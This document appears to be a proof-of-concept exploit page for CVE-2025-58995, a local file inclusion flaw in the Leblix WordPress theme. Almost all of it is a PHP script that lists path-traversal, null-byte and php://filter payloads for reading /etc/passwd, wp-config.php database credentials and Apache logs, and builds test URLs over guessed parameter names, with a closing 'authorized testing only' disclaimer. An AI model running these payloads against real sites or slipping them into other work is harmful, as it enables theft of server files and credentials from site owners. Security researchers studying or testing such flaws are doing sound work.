CVE-2025-58995: Leblix主题PHP本地文件包含漏洞

<?php /** * CVE-2025-58995 PoC - Leblix Theme Local File Inclusion * * This PoC demonstrates how to exploit the LFI vulnerability in Leblix theme. * Target: WordPress site running Leblix theme <= 2.4 */ $target = 'http://target-site.com'; // Attack 1: Read /etc/passwd (Linux systems) $lfi_payload_1 = '/etc/passwd'; // Attack 2: Read wp-config.php to extract database credentials $lfi_payload_2 = '../../../wp-config.php'; // Attack 3: Read configuration files using null byte injection (if applicable) $lfi_payload_3 = '../../../wp-config.php%00'; // Attack 4: Use PHP wrapper to read base64 encoded content $lfi_payload_4 = 'php://filter/read=convert.base64-encode/resource=../../../wp-config.php'; // Attack 5: Read Apache log file $lfi_payload_5 = '../../../var/log/apache2/access.log'; // Common vulnerable parameters to test $vulnerable_params = ['page', 'template', 'file', 'include', 'load', 'view', 'action']; // Function to test LFI vulnerability echo "Testing LFI vulnerability on: $target\n"; foreach ($vulnerable_params as $param) { $url = $target . '/?' . $param . '=' . urlencode($lfi_payload_1); echo "Testing parameter: $param\n"; echo "URL: $url\n"; // In real attack, send HTTP request and check response } // Note: Replace 'target-site.com' with actual vulnerable target // This PoC is for educational and authorized testing purposes only ?>